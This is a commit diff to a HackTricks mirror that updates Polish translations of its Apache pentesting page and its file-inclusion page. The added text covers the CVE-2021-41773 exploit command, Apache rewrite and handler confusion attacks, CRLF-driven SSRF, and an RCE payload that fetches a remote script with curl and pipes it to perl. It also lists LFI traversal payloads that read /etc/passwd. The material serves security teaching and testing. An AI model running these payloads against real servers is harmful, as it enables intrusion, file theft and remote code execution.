mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
Translated ['network-services-pentesting/pentesting-web/apache.md', 'pen
This commit is contained in:
parent
d87ea6f26c
commit
0676ae11ea
2 changed files with 312 additions and 66 deletions
|
@ -1,20 +1,21 @@
|
||||||
|
# Apache
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Wsparcie HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
## Wykonywalne rozszerzenia PHP
|
||||||
# Wykonywalne rozszerzenia PHP
|
|
||||||
|
|
||||||
Sprawdź, które rozszerzenia są uruchamiane przez serwer Apache. Aby je wyszukać, możesz wykonać:
|
Sprawdź, które rozszerzenia są uruchamiane przez serwer Apache. Aby je wyszukać, możesz wykonać:
|
||||||
```bash
|
```bash
|
||||||
|
@ -27,23 +28,249 @@ Również niektóre miejsca, w których możesz znaleźć tę konfigurację, to:
|
||||||
/etc/apache2/mods-available/php7.3.conf
|
/etc/apache2/mods-available/php7.3.conf
|
||||||
/etc/apache2/mods-enabled/php7.3.conf
|
/etc/apache2/mods-enabled/php7.3.conf
|
||||||
```
|
```
|
||||||
# CVE-2021-41773
|
## CVE-2021-41773
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
|
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
|
||||||
uid=1(daemon) gid=1(daemon) groups=1(daemon)
|
uid=1(daemon) gid=1(daemon) groups=1(daemon)
|
||||||
Linux
|
Linux
|
||||||
```
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
|
## Atak konfuzji <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
|
||||||
|
|
||||||
|
Te typy ataków zostały wprowadzone i udokumentowane [**przez Orange w tym poście na blogu**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1), a poniżej znajduje się podsumowanie. Atak "konfuzji" zasadniczo wykorzystuje to, jak dziesiątki modułów współpracujących w Apache nie działają idealnie zsynchronizowane, co sprawia, że modyfikacja nieoczekiwanych danych przez niektóre z nich może spowodować lukę w późniejszym module.
|
||||||
|
|
||||||
|
### Konfuzja nazwy pliku
|
||||||
|
|
||||||
|
#### Skracanie
|
||||||
|
|
||||||
|
**`mod_rewrite`** obetnie zawartość `r->filename` po znaku `?` ([_**modules/mappers/mod\_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod\_rewrite.c#L4141)). To nie jest całkowicie błędne, ponieważ większość modułów traktuje `r->filename` jako URL. Jednak w innych przypadkach będzie to traktowane jako ścieżka do pliku, co może spowodować problem.
|
||||||
|
|
||||||
|
* **Skracanie ścieżki**
|
||||||
|
|
||||||
|
Można wykorzystać `mod_rewrite` jak w poniższym przykładzie reguły, aby uzyskać dostęp do innych plików w systemie plików, usuwając ostatnią część oczekiwanej ścieżki, dodając po prostu `?`:
|
||||||
|
```bash
|
||||||
|
RewriteEngine On
|
||||||
|
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
|
||||||
|
|
||||||
|
# Expected
|
||||||
|
curl http://server/user/orange
|
||||||
|
# the output of file `/var/user/orange/profile.yml`
|
||||||
|
|
||||||
|
# Attack
|
||||||
|
curl http://server/user/orange%2Fsecret.yml%3F
|
||||||
|
# the output of file `/var/user/orange/secret.yml`
|
||||||
|
```
|
||||||
|
* **Wprowadzenie w błąd przypisania RewriteFlag**
|
||||||
|
|
||||||
|
W poniższej regule przepisywania, dopóki URL kończy się na .php, będzie traktowany i wykonywany jako php. Dlatego możliwe jest wysłanie URL, który kończy się na .php po znaku `?`, podczas gdy w ścieżce ładowany jest inny typ pliku (jak obrazek) z złośliwym kodem php w środku:
|
||||||
|
```bash
|
||||||
|
RewriteEngine On
|
||||||
|
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
|
||||||
|
|
||||||
|
# Attacker uploads a gif file with some php code
|
||||||
|
curl http://server/upload/1.gif
|
||||||
|
# GIF89a <?=`id`;>
|
||||||
|
|
||||||
|
# Make the server execute the php code
|
||||||
|
curl http://server/upload/1.gif%3fooo.php
|
||||||
|
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||||
|
```
|
||||||
|
#### **ACL Bypass**
|
||||||
|
|
||||||
|
Możliwe jest uzyskanie dostępu do plików, do których użytkownik nie powinien mieć dostępu, nawet jeśli dostęp powinien być zabroniony w przypadku konfiguracji takich jak:
|
||||||
|
```xml
|
||||||
|
<Files "admin.php">
|
||||||
|
AuthType Basic
|
||||||
|
AuthName "Admin Panel"
|
||||||
|
AuthUserFile "/etc/apache2/.htpasswd"
|
||||||
|
Require valid-user
|
||||||
|
</Files>
|
||||||
|
```
|
||||||
|
To dlatego, że domyślnie PHP-FPM odbierze adresy URL kończące się na `.php`, takie jak `http://server/admin.php%3Fooo.php`, a ponieważ PHP-FPM usunie wszystko po znaku `?`, poprzedni adres URL pozwoli na załadowanie `/admin.php`, nawet jeśli poprzednia reguła tego zabraniała.
|
||||||
|
|
||||||
|
### DocumentRoot Confusion
|
||||||
|
```bash
|
||||||
|
DocumentRoot /var/www/html
|
||||||
|
RewriteRule ^/html/(.*)$ /$1.html
|
||||||
|
```
|
||||||
|
A fun fact about Apache is that the previous rewrite will try to access the file from both the documentRoot and from root. So, a request to `https://server/abouth.html` will check for the file in `/var/www/html/about.html` and `/about.html` in the file system. Which basically can be abused to access files in the file system.
|
||||||
|
|
||||||
|
#### **Ujawnienie kodu źródłowego po stronie serwera**
|
||||||
|
|
||||||
|
* **Ujawnij kod źródłowy CGI**
|
||||||
|
|
||||||
|
Just adding a %3F at the end is enough to leak the source code of a cgi module:
|
||||||
|
```bash
|
||||||
|
curl http://server/cgi-bin/download.cgi
|
||||||
|
# the processed result from download.cgi
|
||||||
|
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
|
||||||
|
# #!/usr/bin/perl
|
||||||
|
# use CGI;
|
||||||
|
# ...
|
||||||
|
# # the source code of download.cgi
|
||||||
|
```
|
||||||
|
* **Ujawnienie kodu źródłowego PHP**
|
||||||
|
|
||||||
|
Jeśli serwer ma różne domeny, z jedną z nich będącą domeną statyczną, można to wykorzystać do przeszukiwania systemu plików i ujawnienia kodu php:
|
||||||
|
```bash
|
||||||
|
# Leak the config.php file of the www.local domain from the static.local domain
|
||||||
|
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
|
||||||
|
# the source code of config.php
|
||||||
|
```
|
||||||
|
#### **Manipulacja lokalnymi gadżetami**
|
||||||
|
|
||||||
|
Głównym problemem poprzedniego ataku jest to, że domyślnie większość dostępu do systemu plików będzie zablokowana, jak w [szablonie konfiguracji](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) serwera Apache HTTP.
|
||||||
|
```xml
|
||||||
|
<Directory />
|
||||||
|
AllowOverride None
|
||||||
|
Require all denied
|
||||||
|
</Directory>
|
||||||
|
```
|
||||||
|
Jednak systemy operacyjne [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) domyślnie pozwalają na `/usr/share`:
|
||||||
|
```xml
|
||||||
|
<Directory /usr/share>
|
||||||
|
AllowOverride None
|
||||||
|
Require all granted
|
||||||
|
</Directory>
|
||||||
|
```
|
||||||
|
Zatem możliwe byłoby **nadużycie plików znajdujących się w `/usr/share` w tych dystrybucjach.**
|
||||||
|
|
||||||
|
**Lokalny Gadget do ujawnienia informacji**
|
||||||
|
|
||||||
|
* **Apache HTTP Server** z **websocketd** może ujawniać skrypt **dump-env.php** w **/usr/share/doc/websocketd/examples/php/**, co może prowadzić do ujawnienia wrażliwych zmiennych środowiskowych.
|
||||||
|
* Serwery z **Nginx** lub **Jetty** mogą ujawniać wrażliwe informacje o aplikacjach webowych (np. **web.xml**) poprzez swoje domyślne katalogi webowe umieszczone w **/usr/share**:
|
||||||
|
* **/usr/share/nginx/html/**
|
||||||
|
* **/usr/share/jetty9/etc/**
|
||||||
|
* **/usr/share/jetty9/webapps/**
|
||||||
|
|
||||||
|
**Lokalny Gadget do XSS**
|
||||||
|
|
||||||
|
* Na Ubuntu Desktop z **zainstalowanym LibreOffice**, wykorzystanie funkcji zmiany języka w plikach pomocy może prowadzić do **Cross-Site Scripting (XSS)**. Manipulowanie URL w **/usr/share/libreoffice/help/help.html** może przekierować na złośliwe strony lub starsze wersje poprzez **niebezpieczne RewriteRule**.
|
||||||
|
|
||||||
|
**Lokalny Gadget do LFI**
|
||||||
|
|
||||||
|
* Jeśli zainstalowane są PHP lub niektóre pakiety front-endowe, takie jak **JpGraph** lub **jQuery-jFeed**, ich pliki mogą być wykorzystywane do odczytu wrażliwych plików, takich jak **/etc/passwd**:
|
||||||
|
* **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
|
||||||
|
* **/usr/share/javascript/jquery-jfeed/proxy.php**
|
||||||
|
* **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
|
||||||
|
|
||||||
|
**Lokalny Gadget do SSRF**
|
||||||
|
|
||||||
|
* Wykorzystując **magpie\_debug.php** z **MagpieRSS** w **/usr/share/php/magpierss/scripts/magpie\_debug.php**, można łatwo stworzyć lukę SSRF, co zapewnia bramę do dalszych exploitów.
|
||||||
|
|
||||||
|
**Lokalny Gadget do RCE**
|
||||||
|
|
||||||
|
* Możliwości **Remote Code Execution (RCE)** są ogromne, z podatnymi instalacjami, takimi jak przestarzały **PHPUnit** lub **phpLiteAdmin**. Mogą być one wykorzystywane do wykonywania dowolnego kodu, co pokazuje ogromny potencjał manipulacji lokalnymi gadżetami.
|
||||||
|
|
||||||
|
#### **Jailbreak z lokalnych gadżetów**
|
||||||
|
|
||||||
|
Możliwe jest również uzyskanie jailbreaka z dozwolonych folderów, podążając za symlinkami generowanymi przez zainstalowane oprogramowanie w tych folderach, takich jak:
|
||||||
|
|
||||||
|
* **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
|
||||||
|
* **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
|
||||||
|
* **Solr Config**: `/usr/share/solr/conf/` -> `/etc/solr/conf/`
|
||||||
|
* **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
|
||||||
|
* **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
|
||||||
|
|
||||||
|
Ponadto, nadużywając symlinków, możliwe było uzyskanie **RCE w Redmine.**
|
||||||
|
|
||||||
|
### Confuzja Handlera <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
|
||||||
|
|
||||||
|
Ten atak wykorzystuje nakładanie się funkcji między dyrektywami `AddHandler` i `AddType`, które mogą być używane do **włączania przetwarzania PHP**. Początkowo te dyrektywy wpływały na różne pola (`r->handler` i `r->content_type` odpowiednio) w wewnętrznej strukturze serwera. Jednak z powodu kodu dziedziczonego, Apache obsługuje te dyrektywy zamiennie w określonych warunkach, przekształcając `r->content_type` w `r->handler`, jeśli ten pierwszy jest ustawiony, a drugi nie.
|
||||||
|
|
||||||
|
Ponadto, w Apache HTTP Server (`server/config.c#L420`), jeśli `r->handler` jest pusty przed wykonaniem `ap_run_handler()`, serwer **używa `r->content_type` jako handlera**, co skutkuje tym, że `AddType` i `AddHandler` są identyczne w skutkach.
|
||||||
|
|
||||||
|
#### **Nadpisanie Handlera w celu ujawnienia kodu źródłowego PHP**
|
||||||
|
|
||||||
|
W [**tej prezentacji**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013\_dmitriev-maksim.pdf) przedstawiono lukę, w której niepoprawny `Content-Length` wysłany przez klienta może spowodować, że Apache błędnie **zwróci kod źródłowy PHP**. Działo się tak z powodu problemu z obsługą błędów w ModSecurity i Apache Portable Runtime (APR), gdzie podwójna odpowiedź prowadzi do nadpisania `r->content_type` na `text/html`.\
|
||||||
|
Ponieważ ModSecurity nie obsługuje poprawnie wartości zwracanych, zwracałby kod PHP i nie interpretowałby go.
|
||||||
|
|
||||||
|
#### **Nadpisanie Handlera do XXXX**
|
||||||
|
|
||||||
|
TODO: Orange jeszcze nie ujawnili tej luki
|
||||||
|
|
||||||
|
### **Wywołanie dowolnych handlerów**
|
||||||
|
|
||||||
|
Jeśli atakujący jest w stanie kontrolować nagłówek **`Content-Type`** w odpowiedzi serwera, będzie mógł **wywołać dowolne handlera modułów**. Jednak w momencie, gdy atakujący kontroluje to, większość procesu żądania będzie już zakończona. Możliwe jest jednak **ponowne uruchomienie procesu żądania, nadużywając nagłówka `Location`**, ponieważ jeśli **r**eturned `Status` to 200, a nagłówek `Location` zaczyna się od `/`, odpowiedź jest traktowana jako przekierowanie po stronie serwera i powinna być przetworzona.
|
||||||
|
|
||||||
|
Zgodnie z [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specyfikacja dotycząca CGI) w [Sekcji 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) definiuje zachowanie odpowiedzi lokalnego przekierowania:
|
||||||
|
|
||||||
|
> Skrypt CGI może zwrócić ścieżkę URI i ciąg zapytania (‘local-pathquery’) dla lokalnego zasobu w polu nagłówka Location. To wskazuje serwerowi, że powinien ponownie przetworzyć żądanie, używając określonej ścieżki.
|
||||||
|
|
||||||
|
Zatem, aby przeprowadzić ten atak, potrzebna jest jedna z następujących luk:
|
||||||
|
|
||||||
|
* Wstrzyknięcie CRLF w nagłówkach odpowiedzi CGI
|
||||||
|
* SSRF z pełną kontrolą nad nagłówkami odpowiedzi
|
||||||
|
|
||||||
|
#### **Dowolny Handler do ujawnienia informacji**
|
||||||
|
|
||||||
|
Na przykład `/server-status` powinien być dostępny tylko lokalnie:
|
||||||
|
```xml
|
||||||
|
<Location /server-status>
|
||||||
|
SetHandler server-status
|
||||||
|
Require local
|
||||||
|
</Location>
|
||||||
|
```
|
||||||
|
Możliwe jest uzyskanie dostępu, ustawiając `Content-Type` na `server-status` i nagłówek Location zaczynający się od `/`
|
||||||
|
```
|
||||||
|
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||||
|
Location:/ooo %0d%0a
|
||||||
|
Content-Type:server-status %0d%0a
|
||||||
|
%0d%0a
|
||||||
|
```
|
||||||
|
#### **Arbitrary Handler to Full SSRF**
|
||||||
|
|
||||||
|
Przekierowanie do `mod_proxy`, aby uzyskać dostęp do dowolnego protokołu na dowolnym URL:
|
||||||
|
```
|
||||||
|
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
|
||||||
|
Location:/ooo %0d%0a
|
||||||
|
Content-Type:proxy:
|
||||||
|
http://example.com/%3F
|
||||||
|
%0d%0a
|
||||||
|
%0d%0a
|
||||||
|
```
|
||||||
|
Jednak nagłówek `X-Forwarded-For` jest dodawany, co uniemożliwia dostęp do punktów końcowych metadanych w chmurze.
|
||||||
|
|
||||||
|
#### **Arbitralny handler do uzyskania dostępu do lokalnego gniazda Unix Domain**
|
||||||
|
|
||||||
|
Uzyskaj dostęp do lokalnego gniazda Unix Domain PHP-FPM, aby wykonać PHP backdoor znajdujący się w `/tmp/`:
|
||||||
|
```
|
||||||
|
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
|
||||||
|
Location:/ooo %0d%0a
|
||||||
|
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
|
||||||
|
%0d%0a
|
||||||
|
```
|
||||||
|
#### **Arbitralny handler do RCE**
|
||||||
|
|
||||||
|
Oficjalny [obraz PHP Docker](https://hub.docker.com/\_/php) zawiera PEAR (`Pearcmd.php`), narzędzie do zarządzania pakietami PHP w wierszu poleceń, które można wykorzystać do uzyskania RCE:
|
||||||
|
```
|
||||||
|
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
|
||||||
|
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
|
||||||
|
orange.tw/x|perl
|
||||||
|
) %2b alltests.php %0d%0a
|
||||||
|
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
|
||||||
|
%0d%0a
|
||||||
|
```
|
||||||
|
Sprawdź [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), napisany przez [Phith0n](https://x.com/phithon\_xg) dla szczegółów tej techniki.
|
||||||
|
|
||||||
|
## Referencje
|
||||||
|
|
||||||
|
* [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Ucz się i ćwicz Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Wsparcie dla HackTricks</summary>
|
<summary>Wsparcie HackTricks</summary>
|
||||||
|
|
||||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,16 +1,16 @@
|
||||||
# File Inclusion/Path traversal
|
# File Inclusion/Path traversal
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Ucz się i ćwicz Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Wsparcie dla HackTricks</summary>
|
<summary>Wsparcie HackTricks</summary>
|
||||||
|
|
||||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
* **Podziel się trikami hackingowymi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -19,16 +19,16 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
||||||
|
|
||||||
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serwera, aby komunikować się z doświadczonymi hackerami i łowcami bugów!
|
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serwera, aby komunikować się z doświadczonymi hackerami i łowcami bugów!
|
||||||
|
|
||||||
**Wgląd w hacking**\
|
**Wgląd w Hacking**\
|
||||||
Zaangażuj się w treści, które zgłębiają emocje i wyzwania związane z hackingiem
|
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
|
||||||
|
|
||||||
**Aktualności o hackingu w czasie rzeczywistym**\
|
**Aktualności Hackingowe w Czasie Rzeczywistym**\
|
||||||
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom
|
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom
|
||||||
|
|
||||||
**Najnowsze ogłoszenia**\
|
**Najnowsze Ogłoszenia**\
|
||||||
Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platformy
|
Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platformy
|
||||||
|
|
||||||
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!
|
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!
|
||||||
|
|
||||||
## File Inclusion
|
## File Inclusion
|
||||||
|
|
||||||
|
@ -73,7 +73,7 @@ Sprawdź listę LFI dla linux.
|
||||||
|
|
||||||
## Podstawowe LFI i obejścia
|
## Podstawowe LFI i obejścia
|
||||||
|
|
||||||
Wszystkie przykłady dotyczą Local File Inclusion, ale mogą być również zastosowane do Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).
|
Wszystkie przykłady dotyczą Local File Inclusion, ale mogą być również zastosowane do Remote File Inclusion (strona=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).
|
||||||
```
|
```
|
||||||
http://example.com/index.php?page=../../../etc/passwd
|
http://example.com/index.php?page=../../../etc/passwd
|
||||||
```
|
```
|
||||||
|
@ -114,14 +114,14 @@ System plików serwera można badać rekurencyjnie, aby zidentyfikować katalogi
|
||||||
```bash
|
```bash
|
||||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||||
```
|
```
|
||||||
2. **Probe for Folders:** Dołącz nazwę podejrzanego folderu (np. `private`) do URL, a następnie wróć do `/etc/passwd`. Dodatkowy poziom katalogu wymaga zwiększenia głębokości o jeden:
|
2. **Probe for Folders:** Dołącz nazwę podejrzanego folderu (np. `private`) do URL, a następnie przejdź z powrotem do `/etc/passwd`. Dodatkowy poziom katalogu wymaga zwiększenia głębokości o jeden:
|
||||||
```bash
|
```bash
|
||||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||||
```
|
```
|
||||||
3. **Interpretacja wyników:** Odpowiedź serwera wskazuje, czy folder istnieje:
|
3. **Interpretuj wyniki:** Odpowiedź serwera wskazuje, czy folder istnieje:
|
||||||
* **Błąd / Brak wyjścia:** Folder `private` prawdopodobnie nie istnieje w określonej lokalizacji.
|
* **Błąd / Brak wyjścia:** Folder `private` prawdopodobnie nie istnieje w określonej lokalizacji.
|
||||||
* **Zawartość `/etc/passwd`:** Obecność folderu `private` jest potwierdzona.
|
* **Zawartość `/etc/passwd`:** Obecność folderu `private` jest potwierdzona.
|
||||||
4. **Rekurencyjna eksploracja:** Odkryte foldery można dalej badać pod kątem podkatalogów lub plików, używając tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI).
|
4. **Rekurencyjne badanie:** Odkryte foldery można dalej badać pod kątem podkatalogów lub plików, używając tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI).
|
||||||
|
|
||||||
Aby badać katalogi w różnych lokalizacjach w systemie plików, dostosuj ładunek odpowiednio. Na przykład, aby sprawdzić, czy `/var/www/` zawiera katalog `private` (zakładając, że bieżący katalog znajduje się na głębokości 3), użyj:
|
Aby badać katalogi w różnych lokalizacjach w systemie plików, dostosuj ładunek odpowiednio. Na przykład, aby sprawdzić, czy `/var/www/` zawiera katalog `private` (zakładając, że bieżący katalog znajduje się na głębokości 3), użyj:
|
||||||
```bash
|
```bash
|
||||||
|
@ -131,11 +131,11 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||||
|
|
||||||
Truncacja ścieżki to metoda stosowana do manipulacji ścieżkami plików w aplikacjach internetowych. Często jest używana do uzyskiwania dostępu do zastrzeżonych plików poprzez obejście pewnych środków bezpieczeństwa, które dodają dodatkowe znaki na końcu ścieżek plików. Celem jest skonstruowanie ścieżki pliku, która, po zmianie przez środek bezpieczeństwa, nadal wskazuje na pożądany plik.
|
Truncacja ścieżki to metoda stosowana do manipulacji ścieżkami plików w aplikacjach internetowych. Często jest używana do uzyskiwania dostępu do zastrzeżonych plików poprzez obejście pewnych środków bezpieczeństwa, które dodają dodatkowe znaki na końcu ścieżek plików. Celem jest skonstruowanie ścieżki pliku, która, po zmianie przez środek bezpieczeństwa, nadal wskazuje na pożądany plik.
|
||||||
|
